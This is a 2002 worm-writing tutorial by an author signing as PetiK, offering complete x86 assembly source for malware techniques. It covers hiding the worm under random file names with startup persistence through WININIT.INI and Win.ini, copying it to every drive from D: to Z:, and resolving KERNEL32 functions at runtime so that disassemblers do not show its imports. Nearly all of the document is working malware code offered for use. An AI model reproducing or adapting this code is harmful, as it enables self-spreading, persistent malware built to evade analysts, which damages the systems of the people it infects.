=== Some Practice Technics ===
== by PetiK (02/10/2002) ===

```
###############
#Introduction:#
###############
This article presents some technics that I use for my worm. I don't code
very well like other coderz (Benny, GriYO, Bumblebee ,etc...) but I want
to show what I know to do. Each part will be accompagny of a code source.
Summary:        I:Hide a copy of worm
               II:Spread a worm into different drives
              III:Extract API from KERNEL32.DLL library

########################
#I:Hide a copy of worm:#
########################

When I read a new description of  worm, I note that he uses  a static name
like services.exe (XTC), winmine.exe (Chainsaw), wsock2.dll (Icecubes).
It's practice because of the name but to delete the worm it's practice too.
So my idea was to change in each start the name of the worm. How ?? Easy.

First: create a random name into %windir% or %sysdir% directory :
       push   50
       mov    esi,offset orig_worm
       push   esi
       push   0
       api    GetModuleFileNameA

       mov    edi,offset copy_worm
       push   edi
       push   50
       push   edi
       api    GetSystemDirectoryA
       add    edi,eax
       mov    al,"\"
       stosb
       api    GetTickCount  \      Thanx to Benny for this
       push   9             |
       pop    ecx           |
       xor    edx,edx             |
       div    ecx           |
       inc    edx           |
       mov    ecx,edx             |
       copy_g:                    |
       push   ecx           |
       api    GetTickCount  |
       push   'z'-'a'             |
       pop    ecx           |
       xor    edx,edx             \
       div    ecx            ----  Example of random name:
       xchg   eax,edx             /      jwvv.exe, abgqlbg.exe, slb.exe
       add    al,'a'        |
       stosb                |
       api    GetTickCount  |
       push   100           |
       pop    ecx           |
       xor    edx,edx             |
       div    ecx           |
       push   edx           |
       api    Sleep         |      If we don't sleep the name look like:
       pop    ecx           |      gggggggg.exe, hhhhhhhh.exe uuuuuuu.exe
       loop   copy_g        |
       mov    eax,"exe."    |
       stosd                |
       pop    edi           /

Second:       Put the original name into Wininit.ini to delete him in the next start:
       @pushsz "C:\WINDOWS\WININIT.INI"  \
       push   offset orig_name           |     [rename]
       @pushsz "NUL"                     >---  NUL=orig_name
       @pushsz "rename"                  |
       api    WritePrivateProfileStringA /

Third: Copy of the worm:
       push   0
       push   edi                 ; copy name
```

```
       push   esi                 ; original name
       api    CopyFileA

Fourth:       Register the name into Win.ini to active him in the next start:
       push   edi                 ; copy name
       @pushsz "RUN"
       @pushsz "WINDOWS"
       api    WriteProfileStringA

-----------------------source-----------------------
.586p
.model flat
.code

JUMPS

api macro a
extrn a:proc
call a
endm

include Useful.inc

start_worm:
       push   50
       mov    esi,offset orig_worm
       push   esi
       push   0
       api    GetModuleFileNameA

       mov    edi,offset copy_worm
       push   edi
       push   50
       push   edi
       api    GetSystemDirectoryA
       add    edi,eax
       mov    al,"\"
       stosb
       api    GetTickCount
       push   9
       pop    ecx
       xor    edx,edx
       div    ecx
       inc    edx
       mov    ecx,edx
       copy_g:
       push   ecx
       api    GetTickCount
       push   'z'-'a'
       pop    ecx
       xor    edx,edx
       div    ecx
       xchg   eax,edx
       add    al,'a'
       stosb
       api    GetTickCount
       push   100
       pop    ecx
       xor    edx,edx
       div    ecx
       push   edx
       api    Sleep
       pop    ecx
       loop   copy_g
       mov    eax,"exe."
       stosd
       pop    edi

       push   40h
       push   offset copy_worm
       push   edi
       push   0
       api    MessageBoxA

       push   50
       push   offset wininit
       api    GetWindowsDirectoryA
       @pushsz "\WININIT.INI"
```

```
       push   offset wininit
       api    lstrcat
       push   offset wininit
       push   esi
       @pushsz "NUL"
       @pushsz "rename"
       api    WritePrivateProfileStringA

copy_w:       push   0
       push   edi
       push   esi
       api    CopyFileA

run_w: push   edi
       @pushsz "RUN"
       @pushsz "WINDOWS"
       api    WriteProfileStringA

end_worm:
       push   0
       api    ExitProcess

.data
copy_worm     db 50 dup (0)
orig_worm     db 50 dup (0)
wininit             db 50 dup (0)

end start_worm
end
-----------------------source----------------------



########################################
#II:Spread a worm into different drives#
########################################

One copy good is, many copies better are. In fact, we can create a sort of "backup"
of the worm into different drives of the system.
It's easy to code this (too easy perhaps).

start_worm:
       push   50
       mov    esi,offset orig_worm       ; Take the name of the worm
       push   esi
       push   0
       api    GetModuleFileNameA

spread_system:
       call   @lect
       db     "D:\",0                           ; The differents drives. We don't
       db     "E:\",0                           ; use A,B because it's certainly
       ......                           ; floopy drive.
       db     "Y:\",0
       db     "Z:\",0
       @lect:
       pop    esi
       push   23                         ; Number of drives 26-3=23
       pop    ecx
       loop_lect:
       push   ecx
       push   esi
       api    SetCurrentDirectoryA
;      test   eax,eax
;      jnz    continue_spread
       push   0
       @pushsz "winbackup.exe"                  ; name of copy
       push   offset orig_worm
       api    CopyFileA
;continue_spread:
       @endsz
       pop    ecx
       loop   loop_lect
end_spread_system:

-----------------------source----------------------
.586p
.model flat
```

```
.code

JUMPS

api macro a
extrn a:proc
call a
endm

include Useful.inc

start_worm:
       push   50
       mov    esi,offset orig_worm
       push   esi
       push   0
       api    GetModuleFileNameA

spread_system:
       call   @lect
       db     "D:\",0
       db     "E:\",0
       db     "F:\",0
       db     "G:\",0
       db     "H:\",0
       db     "I:\",0
       db     "J:\",0
       db     "K:\",0
       db     "L:\",0
       db     "M:\",0
       db     "N:\",0
       db     "O:\",0
       db     "P:\",0
       db     "Q:\",0
       db     "R:\",0
       db     "S:\",0
       db     "T:\",0
       db     "U:\",0
       db     "V:\",0
       db     "W:\",0
       db     "X:\",0
       db     "Y:\",0
       db     "Z:\",0
       @lect:
       pop    esi
       push   23
       pop    ecx
       loop_lect:
       push   ecx
       push   esi
       api    SetCurrentDirectoryA
       push   0
       @pushsz "winbackup.exe"
       push   offset orig_worm
       api    CopyFileA
       @endsz
       pop    ecx
       loop   loop_lect
end_spread_system:
end_worm:
       push   0
       api    ExitProcess

.data
orig_worm     db 50 dup (0)
lect          db 50 dup (0)

end start_worm
end
-----------------------source----------------------
```

```
##########################################
#III:Extract API from KERNEL32.DLL library#
##########################################
```

A lot of disassembler/debugger (like W32DASM) can find the APIs used by a program.

And a worm/virs/trojan is a program.
With normal program : "extrn API:proc" Import functions of W32DASM show
KERNEL32.CloseHandle
KERNEL32.CreateFileA
KERNEL32.GetModuleHandleA
KERNEL32.GetProcAddress
KERNEL32.WriteFile
A user who debug the program can to doubt that the program Create or open a file to write something. We can hide KERNEL32.CloseHandle
KERNEL32.CreateFileA and
KERNEL32.WriteFile.

How ?? While exctracting APIs from KERNEL32.DLL

code section

First: Open KERNEL32.DLL:
```
       @pushsz "KERNEL32.DLL"
       api    GetModuleHandleA
       xchg   eax,ebx
```

Second: Use a macro to take the address of APIs:

```
       kern   macro x
              push   offset sz&x
              push   ebx
              api    GetProcAddress
              mov    _ptk&x,eax
       endm
```

Third: Extract the different APIs:
```
       kern   CloseHandle
       kern   CreateFileA
       kern   WriteFile
```

Fourth: Use the APIs:
```
       call   _ptkCloseHandle
       ...
       call   _ptkCreateFileA
       ...
       call   _ptkWriteFile
```

data section

```
szCloseHandle              db "CloseHandle",0
szCreateFileA              db "CreateFileA",0
szWriteFile                db "WriteFile",0

_ptkCloseHandle                   dd ?
_ptkCreateFileA                   dd ?
_ptkWriteFile              dd ?
```

If we debug the program Import functions of W32DASM show
KERNEL32.GetModuleHandleA
KERNEL32.GetProcAddress

----------source----------
```
.586p
.model flat
.code

JUMPS

api macro a
extrn a:proc
call a
endm

include Useful.inc

start_worm:
       @pushsz "KERNEL32.DLL"
       api    GetModuleHandleA
       xchg   eax,ebx

kern   macro x
       push   offset sz&x
       push   ebx
```

```
       api    GetProcAddress
       mov    _ptk&x,eax
       endm

       kern   CloseHandle
       kern   CreateFileA
       kern   WriteFile

prep_spread_worm:
       push   0
       push   80h
       push   2
       push   0
       push   1
       push   40000000h
       @pushsz "C:\KernApi.txt"
       call   _ptkCreateFileA
       xchg   eax,ebx
       push   0
       push   offset octets
       push   e_txt - s_txt
       push   offset s_txt
       push   ebx
       call   _ptkWriteFile
       push   ebx
       call   _ptkCloseHandle
.data
octets dd ?

szCloseHandle              db "CloseHandle",0
szCreateFileA              db "CreateFileA",0
szWriteFile                db "WriteFile",0

_ptkCloseHandle            dd ?
_ptkCreateFileA            dd ?
_ptkWriteFile              dd ?

s_txt: db 'Text file create with',CRLF
       db 'APIs extract from',CRLF
       db 'KERNEL32.DLL library',CRLF,CRLF
       db 9,'PetiK',CRLF
e_txt:

end start_worm
end
-----------------------source----------------------

#############
#Conclusion:#
#############

If you have some questions or suggestions, please mail me to petikvx@multmania.com.
```